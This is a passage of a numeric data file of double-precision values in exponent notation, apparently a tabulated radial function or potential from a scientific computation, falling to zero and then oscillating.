-0.3773825909395854E+00 -0.3723862557368422E+00 -0.3674644139467203E+00\n -0.3626182918733373E+00 -0.3578491228995945E+00 -0.3531581446837392E+00 -0.3485465959768078E+00 -0.3440157130250673E+00\n -0.3395667255192788E+00 -0.3352008520504021E+00 -0.3309192950292724E+00 -0.3267232350259450E+00 -0.3226138244828918E+00\n -0.3185921807551977E+00 -0.3146593784305226E+00 -0.3108164408820478E+00 -0.3070643310091922E+00 -0.3034039411238457E+00\n -0.2998360819446073E+00 -0.2963614706684425E+00 -0.2929807180988327E+00 -0.2896943148224383E+00 -0.2865026164432708E+00\n -0.2834058279051005E+00 -0.2804039869602682E+00 -0.2774969468771566E+00 -0.2746843585203667E+00 -0.2719656519882723E+00\n -0.2693400180531267E+00 -0.2668063897203013E+00 -0.2643634243062732E+00 -0.2620094865300300E+00 -0.2597426332192892E+00\n -0.2575606003500299E+00 -0.2554607932624695E+00 -0.2534402810239623E+00 -0.2514957960316366E+00 -0.2496237400535760E+00\n -0.2478201979810306E+00 -0.2460809605838598E+00 -0.2444015574991944E+00 -0.2427773015044900E+00 -0.2412033447902379E+00\n -0.2396747474109387E+00 -0.2381865573144384E+00 -0.2367339003009647E+00 -0.2353120769446503E+00 -0.2339166619743637E+00\n -0.2325435999910598E+00 -0.2311892899420583E+00 -0.2298506498591054E+00 -0.2285251535007102E+00 -0.2272108322697357E+00\n -0.2259062395150722E+00 -0.2246103800296458E+00 -0.2233226143482858E+00 -0.2220425533758296E+00 -0.2207699612307818E+00\n -0.2195046807982463E+00 -0.2182465877415019E+00 -0.2169955687347858E+00 -0.2157515141286527E+00 -0.2145143163564465E+00\n -0.2132838697320672E+00 -0.2120600704271507E+00 -0.2108428164580473E+00 -0.2096320076725845E+00 -0.2084275457364440E+00\n -0.2072293341191706E+00 -0.2060372780798283E+00 -0.2048512846523208E+00 -0.2036712626303956E+00 -0.2024971225523388E+00\n -0.2013287766853885E+00 -0.2001661390098699E+00 -0.1990091252030775E+00 -0.1978576526229085E+00 -0.1967116402912710E+00\n -0.1955710088772761E+00 -0.1944356806802258E+00 -0.1933055796124141E+00 -0.1921806311817510E+00 -0.1910607624742264E+00\n -0.1899459021362168E+00 -0.1888359803566597E+00 -0.1877309288490946E+00 -0.1866306808335939E+00 -0.1855351710185818E+00\n -0.1844443355825659E+00 -0.1833581121557800E+00 -0.1822764398017569E+00 -0.1811992589988340E+00 -0.1801265116216080E+00\n -0.1790581409223451E+00 -0.1779940915123532E+00 -0.1769343093433298E+00 -0.1758787416886912E+00 -0.1748273371248939E+00\n -0.1737800455127509E+00 -0.1727368179787582E+00 -0.1716976068964338E+00 -0.1706623658676789E+00 -0.1696310497041661E+00\n -0.1686036144087650E+00 -0.1675800171570109E+00 -0.1665602162786198E+00 -0.1655441712390600E+00 -0.1645318426211851E+00\n -0.1635231921069348E+00 -0.1625181824591057E+00 -0.1615167775032033E+00 -0.1605189421093761E+00 -0.1595246421744391E+00\n -0.1585338446039885E+00 -0.1575465172946173E+00 -0.1565626291162327E+00 -0.1555821498944797E+00 -0.1546050503932762E+00\n -0.1536313022974632E+00 -0.1526608781955763E+00 -0.1516937515627348E+00 -0.1507298967436624E+00 -0.1497692889358336E+00\n -0.1488119041727559E+00 -0.1478577193073842E+00 -0.1469067119956771E+00 -0.1459588606802934E+00 -0.1450141445744331E+00\n -0.1440725436458233E+00 -0.1431340386008554E+00 -0.1421986108688733E+00 -0.1412662425866119E+00 -0.1403369165827954E+00\n -0.1394106163628882E+00 -0.1384873260940094E+00 -0.1375670305900030E+00 -0.1366497152966734E+00 -0.1357353662771839E+00\n -0.1348239701976193E+00 -0.1339155143127141E+00 -0.1330099864517488E+00 -0.1321073750046149E+00 -0.1312076689080463E+00\n -0.1303108576320237E+00 -0.1294169311663473E+00 -0.1285258800073831E+00 -0.1276376951449777E+00 -0.1267523680495491E+00\n -0.1258698906593478E+00 -0.1249902553678929E+00 -0.1241134550115789E+00 -0.1232394828574590E+00 -0.1223683325912011E+00\n -0.1214999983052166E+00 -0.1206344744869641E+00 -0.1197717560074267E+00 -0.1189118381097634E+00 -0.1180547163981319E+00\n -0.1172003868266877E+00 -0.1163488456887531E+00 -0.1155000896061621E+00 -0.1146541155187737E+00 -0.1138109206741603E+00\n -0.1129705026174663E+00 -0.1121328591814367E+00 -0.1112979884766172E+00 -0.1104658888817227E+00 -0.1096365590341772E+00\n -0.1088099978208190E+00 -0.1079862043687761E+00 -0.1071651780365066E+00 -0.1063469184050076E+00 -0.1055314252691870E+00\n -0.1047186986294014E+00 -0.1039087386831581E+00 -0.1031015458169785E+00 -0.1022971205984247E+00 -0.1014954637682864E+00\n -0.1006965762329294E+00 -0.9990045905680092E-01 -0.9910711345509600E-01 -0.9831654078657849E-01 -0.9752874254656095E-01\n -0.9674372036003734E-01 -0.9596147597497186E-01 -0.9518201125574054E-01 -0.9440532817672517E-01 -0.9363142881605759E-01\n -0.9286031534951537E-01 -0.9209199004456679E-01 -0.9132645525456264E-01 -0.9056371341307594E-01 -0.8980376702838780E-01\n -0.8904661867811879E-01 -0.8829227100400254E-01 -0.8754072670680409E-01 -0.8679198854137972E-01 -0.8604605931187735E-01\n -0.8530294186707681E-01 -0.8456263909586934E-01 -0.8382515392287562E-01 -0.8309048930419941E-01 -0.8235864822331807E-01\n -0.8162963368710800E-01 -0.8090344872200475E-01 -0.8018009637029486E-01 -0.7945957968654156E-01 -0.7874190173414135E-01\n -0.7802706558201103E-01 -0.7731507430140443E-01 -0.7660593096285831E-01 -0.7589963863326689E-01 -0.7519620037308256E-01\n -0.7449561923364434E-01 -0.7379789825463164E-01 -0.7310304046164423E-01 -0.7241104886390530E-01 -0.7172192645209033E-01\n -0.7103567619627764E-01 -0.7035230104402376E-01 -0.6967180391855922E-01 -0.6899418771710759E-01 -0.6831945530932572E-01\n -0.6764760953586510E-01 -0.6697865320705315E-01 -0.6631258910169627E-01 -0.6564941996600249E-01 -0.6498914851262336E-01\n -0.6433177741981720E-01 -0.6367730933073025E-01 -0.6302574685279916E-01 -0.6237709255727147E-01 -0.6173134897884694E-01\n -0.6108851861543815E-01 -0.6044860392805121E-01 -0.5981160734078578E-01 -0.5917753124095684E-01 -0.5854637797933600E-01\n -0.5791814987051506E-01 -0.5729284919339011E-01 -0.5667047819176833E-01 -0.5605103907509822E-01 -0.5543453401932198E-01\n -0.5482096516785345E-01 -0.5421033463268072E-01 -0.5360264449559476E-01 -0.5299789680954505E-01 -0.5239609360012387E-01\n -0.5179723686717961E-01 -0.5120132858656160E-01 -0.5060837071199547E-01 -0.5001836517709381E-01 -0.4943131389750106E-01\n -0.4884721877317583E-01 -0.4826608169081145E-01 -0.4768790452639723E-01 -0.4711268914792258E-01 -0.4654043741822612E-01\n -0.4597115119799098E-01 -0.4540483234889028E-01 -0.4484148273688456E-01 -0.4428110423567344E-01 -0.4372369873030461E-01\n -0.4316926812094350E-01 -0.4261781432680625E-01 -0.4206933929025882E-01 -0.4152384498108628E-01 -0.4098133340093556E-01\n -0.4044180658793538E-01 -0.3990526662149652E-01 -0.3937171562729746E-01 -0.3884115578245902E-01 -0.3831358932091222E-01\n -0.3778901853896358E-01 -0.3726744580106369E-01 -0.3674887354578273E-01 -0.3623330429199824E-01 -0.3572074064530062E-01\n -0.3521118530462180E-01 -0.3470464106909250E-01 -0.3420111084513349E-01 -0.3370059765378802E-01 -0.3320310463829990E-01\n -0.3270863507194550E-01 -0.3221719236612464E-01 -0.3172878007871772E-01 -0.3124340192271698E-01 -0.3076106177513717E-01\n -0.3028176368621473E-01 -0.2980551188890199E-01 -0.2933231080866432E-01 -0.2886216507358872E-01 -0.2839507952481046E-01\n -0.2793105922726807E-01 -0.2747010948079293E-01 -0.2701223583154306E-01 -0.2655744408378990E-01 -0.2610574031206566E-01\n -0.2565713087368143E-01 -0.2521162242162311E-01 -0.2476922191783597E-01 -0.2432993664690480E-01 -0.2389377423013912E-01\n -0.2346074264007272E-01 -0.2303085021538444E-01 -0.2260410567625017E-01 -0.2218051814013276E-01 -0.2176009713801780E-01\n -0.2134285263110349E-01 -0.2092879502794953E-01 -0.2051793520209298E-01 -0.2011028451013516E-01 -0.1970585481030489E-01\n -0.1930465848150186E-01 -0.1890670844282149E-01 -0.1851201817356444E-01 -0.1812060173372857E-01 -0.1773247378498237E-01\n -0.1734764961211651E-01 -0.1696614514496612E-01 -0.1658797698079692E-01 -0.1621316240714285E-01 -0.1584171942508113E-01\n -0.1547366677292802E-01 -0.1510902395033159E-01 -0.1474781124273767E-01 -0.1439004974619603E-01 -0.1403576139247217E-01\n -0.1368496897442080E-01 -0.1333769617157242E-01 -0.1299396757587675E-01 -0.1265380871753636E-01 -0.1231724609085785E-01\n -0.1198430718003442E-01 -0.1165502048476427E-01 -0.1132941554559642E-01 -0.1100752296888000E-01 -0.1068937445118038E-01\n -0.1037500280300520E-01 -0.1006444197166726E-01 -0.9757727063089234E-02 -0.9454894362331736E-02 -0.9155981352602857E-02\n -0.8861026732477590E-02 -0.8570070431026370E-02 -0.8283153620518910E-02 -0.8000318726330972E-02 -0.7721609433644288E-02\n -0.7447070690483597E-02 -0.7176748706588126E-02 -0.6910690947562739E-02 -0.6648946123695469E-02 -0.6391564172768492E-02\n -0.6138596236119977E-02 -0.5890094627143023E-02 -0.5646112791328837E-02 -0.5406705256875357E-02 -0.5171927574793084E-02\n -0.4941836247340325E-02 -0.4716488643516831E-02 -0.4495942900234213E-02 -0.4280257807663031E-02 -0.4069492677135494E-02\n -0.3863707189852578E-02 -0.3662961224513759E-02 -0.3467314661850819E-02 -0.3276827163911870E-02 -0.3091557925807099E-02\n -0.2911565397496689E-02 -0.2736906973081798E-02 -0.2567638644951017E-02 -0.2403814620049312E-02 -0.2245486895479086E-02\n -0.2092704790623673E-02 -0.1945514433017997E-02 -0.1803958195289058E-02 -0.1668074080673803E-02 -0.1537895054912087E-02\n -0.1413448322734187E-02 -0.1294754547748605E-02 -0.1181827015318322E-02 -0.1074670739037643E-02 -0.9732815127318119E-03\n -0.8776449115510747E-03 -0.7877352477807324E-03 -0.7035144894988547E-03 -0.6249311532533495E-03 -0.5519191855637202E-03\n -0.4843968523409821E-03 -0.4222656603112821E-03 -0.3654093402469373E-03 -0.3136929282422736E-03 -0.2669619883460904E-03\n -0.2250420274226155E-03 -0.1877381608793739E-03 -0.1548350954324305E-03 -0.1260975017208530E-03 -0.1012708544007759E-03\n -0.8008281908161370E-04 -0.6224526246190971E-04 -0.4745695222159778E-04 -0.3540699419800758E-04 -0.2577902344419184E-04\n -0.1825612034243538E-04 -0.1252636105889374E-04 -0.8288832859917125E-05 -0.5259851630896392E-05 -0.3179018438370757E-05\n -0.1814657830647114E-05 -0.9681145896094296E-06 -0.4763777092066571E-06 -0.2125847804801365E-06 -0.8416563922630169E-07\n -0.2871694661282378E-07 -0.8118483409326055E-08 -0.1800875019886702E-08 -0.2899912795055122E-09 -0.3021521412802248E-10\n -0.1705617717949463E-11 -0.3905505511147667E-13 -0.2187979755795985E-15 -0.1136823060733138E-18 -0.6529908184057616E-24\n -0.1331494455842040E-33 -0.1332533824576676E-57 -0.3518780789111388E-217  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.2980561953329615E-01  0.5916214233164482E-01  0.8807376775591262E-01  0.1165446070923979E+00\n  0.1445785896945104E+00  0.1721793127131528E+00  0.1993498372288393E+00  0.2260924395124203E+00  0.2524083296657185E+00\n  0.2782973516026372E+00  0.3037576786932059E+00  0.3287855187856478E+00  0.3533748410476745E+00  0.3775171353675275E+00\n  0.4012012131151563E+00  0.4244130560281678E+00  0.4471357179640750E+00  0.4693492823288160E+00  0.4910308762069837E+00\n  0.5121547406179706E+00  0.5326923549257166E+00  0.5526126122474077E+00  0.5718820417388514E+00  0.5904650728749644E+00\n  0.6083243362816283E+00  0.6254209952953163E+00  0.6417151022124156E+00  0.6571659731229090E+00  0.6717325752842186E+00\n  0.6853739211620790E+00  0.6980494635281584E+00  0.7097194863416821E+00  0.7203454865385274E+00  0.7298905422913191E+00\n  0.7383196637747241E+00  0.7456001229593330E+00  0.7517017594547573E+00  0.7565972599187180E+00  0.7602624090360081E+00\n  0.7626763105428430E+00  0.7638215772227638E+00  0.7636844892256079E+00  0.7622551204578512E+00  0.7595274331582714E+00\n  0.7554993411058685E+00  0.7501727422062439E+00  0.7435535214678834E+00  0.7356515256112056E+00  0.7264805107514307E+00\n  0.7160580647622865E+00  0.7044055060626673E+00  0.6915477606740609E+00  0.6775132194747052E+00  0.6623335776287783E+00\n  0.6460436581976104E+00  0.6286812219467698E+00  0.6102867653501249E+00  0.5909033087616116E+00  0.5705761766794121E+00\n  0.5493527719676207E+00  0.5272823458290659E+00  0.5044157652415996E+00  0.4808052794806210E+00  0.4565042872543610E+00\n  0.4315671058772241E+00  0.4060487438014351E+00  0.3800046777198434E+00  0.3534906353440669E+00  0.3265623848532687E+00\n  0.2992755319008061E+00  0.2716853249594787E+00  0.2438464696819385E+00  0.2158129528517275E+00  0.1876378764027582E+00\n  0.1593733018915083E+00  0.1310701057169563E+00  0.1027778452988341E+00  0.7454463634517153E-01  0.4641704126567402E-01\n  0.1843996871823178E-01 -0.9343415788128404E-02 -0.3689176836917064E-01 -0.6416563450906662E-01 -0.9112750630870141E-01\n -0.1177418695188684E+00 -0.1439752406767907E+00 -0.1697961946978080E+00 -0.1951753833029356E+00 -0.2200855446874273E+00\n -0.2445015048556650E+00 -0.2684001710639848E+00 -0.2917605178254852E+00 -0.3145635659398817E+00 -0.3367923550171064E+00\n -0.3584319099660255E+00 -0.3794692019194473E+00 -0.3998931040638364E+00 -0.4196943428370452E+00 -0.4388654449501550E+00\n -0.4574006806803239E+00 -0.4752960038707706E+00 -0.4925489890615999E+00 -0.5091587661615586E+00 -0.5251259530560686E+00\n -0.5404525865310800E+00 -0.5551420518758782E+00 -0.5691990115107658E+00 -0.5826293329679667E+00 -0.5954400165361110E+00\n -0.6076391228604799E+00 -0.6192357007728714E+00 -0.6302397156066638E+00 -0.6406619782344070E+00 -0.6505140750472834E+00\n -0.6598082990779603E+00 -0.6685575824509672E+00 -0.6767754303275997E+00 -0.6844758564958461E+00 -0.6916733207396428E+00\n -0.6983826681062417E+00 -0.7046190701754369E+00 -0.7103979684200303E+00 -0.7157350197331149E+00 -0.7206460441846081E+00\n -0.7251469750570049E+00 -0.7292538111984742E+00 -0.7329825717202728E+00 -0.7363492530549652E+00 -0.7393697883820587E+00\n -0.7420600094185869E+00 -0.7444356105635324E+00 -0.7465121153771925E+00 -0.7483048453692615E+00 -0.7498288910627880E+00\n -0.7510990852950691E+00 -0.7521299787110952E+00 -0.7529358174001737E+00 -0.7535305226219949E+00 -0.7539276725644879E+00\n -0.7541404860724225E+00 -0.7541818082827765E+00 -0.7540640981003759E+00 -0.7537994174452843E+00 -0.7533994222016963E+00\n -0.7528753547968463E+00 -0.7522380383374159E+00 -0.7514978722304342E+00 -0.7506648292152125E+00 -0.7497484537329505E+00\n -0.7487578615608312E+00 -0.7477017406379203E+00 -0.7465883530109418E+00 -0.7454255378288276E+00 -0.7442207153161546E+00\n -0.7429808916567682E+00 -0.7417126647203566E+00 -0.7404222305663006E+00 -0.7391153906607812E+00 -0.7377975597449168E+00\n -0.7364737742936068E+00 -0.7351487015066457E+00 -0.7338266487757376E+00 -0.7325115735730846E+00 -0.7312070937093148E+00\n -0.7299164979106890E+00 -0.7286427566676440E+00 -0.7273885333088894E+00 -0.7261561952575059E+00 -0.7249478254275804E+00\n -0.7237652337221139E+00 -0.7226099685950527E+00 -0.7214833286424112E+00 -0.7203863741895169E+00 -0.7193199388434760E+00\n -0.7182846409819289E+00 -0.7172808951511491E+00 -0.7163089233484455E+00 -0.7153687661656919E+00 -0.7144602937725963E+00\n -0.7135832167201219E+00 -0.7127370965461225E+00 -0.7119213561669281E+00 -0.7111352900401826E+00 -0.7103780740857679E+00\n -0.7096487753530824E+00 -0.7089463614243792E+00 -0.7082697095451826E+00 -0.7076176154740552E+00 -0.7069888020452744E+00\n -0.7063819274390548E+00 -0.7057955931550737E+00 -0.7052283516861344E+00 -0.7046787138897004E+00 -0.7041451560560322E+00\n -0.7036261266724787E+00 -0.7031200528842719E+00 -0.7026253466530071E+00 -0.7021404106145906E+00 -0.7016636436391807E+00\n -0.7011934460961990E+00 -0.7007282248280853E+00 -0.7002663978369600E+00 -0.6998063986888191E+00 -0.6993466806403545E+00\n -0.6988857204938393E+00 -0.6984220221858803E+00 -0.6979541201161606E+00 -0.6974805822225486E+00 -0.6970000128092043E+00\n -0.6965110551345379E+00 -0.6960123937660179E+00 -0.6955027567089953E+00 -0.6949809173168499E+00 -0.6944456959898160E+00\n -0.6938959616699598E+00 -0.6933306331398015E+00 -0.6927486801321128E+00 -0.6921491242584105E+00 -0.6915310397636959E+00\n -0.6908935541148920E+00 -0.6902358484304498E+00 -0.6895571577584888E+00 -0.6888567712107797E+00 -0.6881340319597943E+00\n -0.6873883371059062E+00 -0.6866191374217884E+00 -0.6858259369808462E+00 -0.6850082926764688E+00 -0.6841658136386904E+00\n -0.6832981605547428E+00 -0.6824050448998029E+00 -0.6814862280841192E+00 -0.6805415205224655E+00 -0.6795707806318362E+00\n -0.6785739137629465E+00 -0.6775508710711322E+00 -0.6765016483318922E+00 -0.6754262847062551E+00 -0.6743248614609347E+00\n -0.6731975006480673E+00 -0.6720443637491410E+00 -0.6708656502875580E+00 -0.6696615964141065E+00 -0.6684324734694262E+00\n -0.6671785865273722E+00 -0.6659002729230488E+00 -0.6645979007690805E+00 -0.6632718674635170E+00 -0.6619225981926605E+00\n -0.6605505444318366E+00 -0.6591561824471119E+00 -0.6577400118006743E+00 -0.6563025538625172E+00 -0.6548443503309030E+00\n -0.6533659617639238E+00 -0.6518679661243543E+00 -0.6503509573398282E+00 -0.6488155438802812E+00 -0.6472623473544041E+00\n -0.6456920011267967E+00 -0.6441051489573446E+00 -0.6425024436642409E+00 -0.6408845458119288E+00 -0.6392521224252083E+00\n -0.6376058457305376E+00 -0.6359463919255466E+00 -0.6342744399776308E+00 -0.6325906704524237E+00 -0.6308957643728299E+00\n -0.6291904021092484E+00 -0.6274752623015023E+00 -0.6257510208129137E+00 -0.6240183497169164E+00 -0.6222779163164849E+00\n -0.6205303821966133E+00 -0.6187764023100156E+00 -0.6170166240961311E+00 -0.6152516866334947E+00 -0.6134822198254523E+00\n -0.6117088436191340E+00 -0.6099321672576039E+00 -0.6081527885649929E+00 -0.6063712932644193E+00 -0.6045882543284419E+00\n -0.6028042313617739E+00 -0.6010197700159075E+00 -0.5992354014353167E+00 -0.5974516417348416E+00 -0.5956689915078388E+00\n -0.5938879353646483E+00 -0.5921089415009345E+00 -0.5903324612953872E+00 -0.5885589289362899E+00 -0.5867887610764325E+00\n -0.5850223565158195E+00 -0.5832600959116285E+00 -0.5815023415148403E+00 -0.5797494369329861E+00 -0.5780017069183963E+00\n -0.5762594571813876E+00 -0.5745229742277652E+00 -0.5727925252200571E+00 -0.5710683578618634E+00 -0.5693507003047140E+00\n -0.5676397610768275E+00 -0.5659357290331757E+00 -0.5642387733262232E+00 -0.5625490433967653E+00 -0.5608666689842511E+00\n -0.5591917601560096E+00 -0.5575244073547678E+00 -0.5558646814639211E+00 -0.5542126338899364E+00 -0.5525682966613572E+00\n -0.5509316825438423E+00 -0.5493027851706900E+00 -0.5476815791883145E+00 -0.5460680204161578E+00 -0.5444620460205136E+00\n -0.5428635747017666E+00 -0.5412725068945640E+00 -0.5396887249804451E+00 -0.5381120935124601E+00 -0.5365424594513395E+00\n -0.5349796524127961E+00 -0.5334234849255057E+00 -0.5318737526994184E+00 -0.5303302349039710E+00 -0.5287926944558559E+00\n -0.5272608783160018E+00 -0.5257345177954069E+00 -0.5242133288695329E+00 -0.5226970125009548E+00 -0.5211852549699725E+00\n -0.5196777282129478E+00 -0.5181740901680973E+00 -0.5166739851285399E+00 -0.5151770441023719E+00 -0.5136828851796083E+00\n -0.5121911139058056E+00 -0.5107013236622320E+00 -0.5092130960524547E+00 -0.5077260012952530E+00 -0.5062395986237541E+00\n -0.5047534366907523E+00 -0.5032670539801658E+00 -0.5017799792246062E+00 -0.5002917318290815E+00 -0.4988018223008544E+00\n -0.4973097526855100E+00 -0.4958150170093096E+00 -0.4943171017279344E+00 -0.4928154861817414E+00 -0.4913096430576898E+00\n -0.4897990388581003E+00 -0.4882831343764708E+00 -0.4867613851805592E+00 -0.4852332421030025E+00 -0.4836981517397486E+00\n -0.4821555569566233E+00 -0.4806048974043609E+00 -0.4790456100424820E+00 -0.4774771296724106E+00 -0.4758988894802721E+00\n -0.4743103215898168E+00 -0.4727108576259886E+00 -0.4710999292896421E+00 -0.4694769689439838E+00 -0.4678414102133217E+00\n -0.4661926885947614E+00 -0.4645302420834957E+00 -0.4628535118124025E+00 -0.4611619427066728E+00 -0.4594549841542420E+00\n -0.4577320906928324E+00 -0.4559927227144522E+00 -0.4542363471882220E+00 -0.4524624384024584E+00 -0.4506704787269636E+00\n -0.4488599593965099E+00 -0.4470303813165587E+00 -0.4451812558922650E+00 -0.4433121058818812E+00 -0.4414224662756842E+00\n -0.4395118852016028E+00 -0.4375799248587367E+00 -0.4356261624800019E+00 -0.4336501913251545E+00 -0.4316516217054698E+00\n -0.4296300820413793E+00 -0.4275852199543783E+00 -0.4255167033945205E+00 -0.4234242218048398E+00 -0.4213074873240124E+00\n -0.4191662360285776E+00 -0.4170002292160105E+00 -0.4148092547299044E+00 -0.4125931283284775E+00 -0.4103516950975684E+00\n -0.4080848309091941E+00 -0.4057924439266636E+00 -0.4034744761571206E+00 -0.4011309050522512E+00 -0.3987617451577198E+00\n -0.3963670498117089E+00 -0.3939469128927054E+00 -0.3915014706163934E+00 -0.3890309033812195E+00 -0.3865354376618079E+00\n -0.3840153479490107E+00 -0.3814709587348666E+00 -0.3789026465402212E+00 -0.3763108419821045E+00 -0.3736960318772730E+00\n -0.3710587613774890E+00 -0.3683996361312071E+00 -0.3657193244652975E+00 -0.3630185595792629E+00 -0.3602981417430927E+00\n -0.3575589404884341E+00 -0.3548018967810906E+00 -0.3520280251610328E+00 -0.3492384158340347E+00 -0.3464342366967726E+00\n -0.3436167352746726E+00 -0.3407872405489845E+00 -0.3379471646464616E+00 -0.3350980043615843E+00 -0.3322413424775305E+00\n -0.3293788488479631E+00 -0.3265122811972369E+00 -0.3236434855917447E+00 -0.3207743965298733E+00 -0.3179070365923667E+00\n -0.3150435155888747E+00 -0.3121860291300399E+00 -0.3093368565477600E+00 -0.3064983580792707E+00 -0.3036729712235190E+00\n -0.3008632061710796E+00 -0.2980716402017605E+00 -0.2953009109372595E+00 -0.2925537083300732E+00 -0.2898327652646850E+00\n -0.2871408466433073E+00 -0.2844807368267285E+00 -0.2818552253018305E+00 -0.2792670904519203E+00 -0.2767190813152813E+00\n -0.2742138972325089E+00 -0.2717541653057443E+00 -0.2693424156246247E+00 -0.2669810542566010E+00 -0.2646723340554829E+00\n -0.2624183234141169E+00 -0.2602208731776114E+00 -0.2580815820450847E+00 -0.2560017609230388E+00 -0.2539823968540338E+00\n -0.2520241173314579E+00 -0.2501271560242013E+00 -0.2482913211710008E+00 -0.2465159681564286E+00 -0.2447999780373049E+00\n -0.2431417440311489E+00 -0.2415391681797712E+00 -0.2399896705229777E+00 -0.2384902131086874E+00 -0.2370373409624846E+00\n -0.2356272416659091E+00 -0.2342558243668445E+00 -0.2329188177912029E+00 -0.2316118850938999E+00 -0.2303307511904072E+00\n -0.2290713356663495E+00 -0.2278298817525086E+00 -0.2266030696708936E+00 -0.2253881016292194E+00 -0.2241827467507004E+00\n -0.2229853380898954E+00 -0.2217947209120437E+00 -0.2206101607947411E+00 -0.2194312294160579E+00 -0.2182576912681023E+00\n -0.2170894123227367E+00 -0.2159263013992442E+00 -0.2147682815470252E+00 -0.2136152801508975E+00 -0.2124672267271450E+00\n -0.2113240526296465E+00 -0.2101856910076705E+00 -0.2090520767782083E+00 -0.2079231465985940E+00 -0.2067988388391586E+00\n -0.2056790935559256E+00 -0.2045638524633573E+00 -0.2034530589071708E+00 -0.2023466578372234E+00 -0.2012445957804879E+00\n -0.2001468208141218E+00 -0.1990532825386412E+00 -0.1979639320512100E+00 -0.1968787219190523E+00 -0.1957976061529950E+00\n -0.1947205401811518E+00 -0.1936474808227552E+00 -0.1925783862621419E+00 -0.1915132160229021E+00 -0.1904519309421991E+00\n -0.1893944931452612E+00 -0.1883408660200601E+00 -0.1872910141921747E+00 -0.1862449034998491E+00 -0.1852025009692512E+00\n -0.1841637747899360E+00 -0.1831286942905153E+00 -0.1820972299145447E+00 -0.1810693531966281E+00 -0.1800450367387435E+00\n -0.1790242541867973E+00 -0.1780069802074076E+00 -0.1769931904649212E+00 -0.1759828615986671E+00 -0.1749759712004503E+00\n -0.1739724977922888E+00 -0.1729724208043943E+00 -0.1719757205534020E+00 -0.1709823782208502E+00 -0.1699923758319090E+00\n -0.1690056962343670E+00 -0.1680223230778698E+00 -0.1670422407934179E+00 -0.1660654345731199E+00 -0.1650918903502081E+00\n -0.1641215947793118E+00 -0.1631545352169931E+00 -0.1621906997025439E+00 -0.1612300769390466E+00 -0.1602726562746950E+00\n -0.1593184276843816E+00 -0.1583673817515448E+00 -0.1574195096502818E+00 -0.1564748031277238E+00 -0.1555332544866742E+00\n -0.1545948565685086E+00 -0.1536596027363397E+00 -0.1527274868584397E+00 -0.1517985032919279E+00 -0.1508726468667154E+00\n -0.1499499128697113E+00 -0.1490302970292871E+00 -0.1481137954999969E+00 -0.1472004048475565E+00 -0.1462901220340763E+00\n -0.1453829444035485E+00 -0.1444788696675867E+00 -0.1435778958914185E+00 -0.1426800214801243E+00 -0.1417852451651289E+00\n -0.1408935659909356E+00 -0.1400049833021089E+00 -0.1391194967304976E+00 -0.1382371061827025E+00 -0.1373578118277804E+00\n -0.1364816140851888E+00 -0.1356085136129656E+00 -0.1347385112961426E+00 -0.1338716082353913E+00 -0.1330078057358998E+00\n -0.1321471052964751E+00 -0.1312895085988738E+00 -0.1304350174973551E+00 -0.1295836340084561E+00 -0.1287353603009860E+00\n -0.1278901986862372E+00 -0.1270481516084132E+00 